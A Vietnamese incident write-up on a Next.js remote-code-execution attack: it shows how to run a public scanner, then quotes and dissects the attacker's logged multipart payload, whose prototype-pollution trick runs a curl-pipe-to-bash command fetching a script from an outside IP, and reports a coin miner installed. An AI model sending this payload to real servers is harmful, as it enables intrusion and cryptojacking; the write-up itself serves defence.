Sử dụng package sau để kiểm tra xem web hiện tại có thể tấn công RCE không?
https://github.com/assetnote/react2shell-scanner?tab=readme-ov-file
- Sau khi clone xong thì có thể chạy theo các bước sau để execute
python3.13 -m venv venv
source venv/bin/activate
pip install
python3 scanner.py -u https://example.com
Attacker tấn công như thế nào?
- Theo log tôi thu thập được thì attacker đã gửi request vào server của NextJs với body như sau:
"POST / HTTP/1.1" Status=499 Bytes-Sent=0 Body="------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\nContent-Type: application/json\r\n\r\n{\n\t\"then\": \"$1:__proto__:then\",\n\t\"status\": \"resolved_model\",\n\t\"reason\": -1,\n\t\"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\",\n\t\"_response\": {\n\t\t\"_prefix\": \"process.mainModule.require('child_process').execSync('curl http://128.199.194.97:9001/setup2.sh | bash');\",\n\t\t\"_chunks\": \"$Q2\",\n\t\t\"_formData\": {\n\t\t\t\"get\": \"$1:constructor:constructor\"\n\t\t}\n\t}\n}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n" Referer="" User-Agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" ""
Nội dung FormData (đã bóc tách)
FormData gồm 3 field: 0, 1, 2
🔹 Field 0
Type: application/json
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('curl http://128.199.194.97:9001/setup2.sh | bash');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
⚠️ Lưu ý quan trọng
Đoạn _prefix có chứa RCE payload:
process.mainModule
.require('child_process')
.execSync('curl http://128.199.194.97:9001/setup2.sh | bash');
👉 Đây là payload tải & thực thi shell script từ xa, rất nguy hiểm.
🔹 Field 1
"$@0"
🔹 Field 2
[]
Attacker đã làm được gì?
- Với body trên attacker đã thực thi được các command trên server, download các tệp shell script và thực thi chúng.
- Với tệp shellscript này attacker đã cài cắm tool đào coin làm server nhanh chóng chạy full tất cả CPU.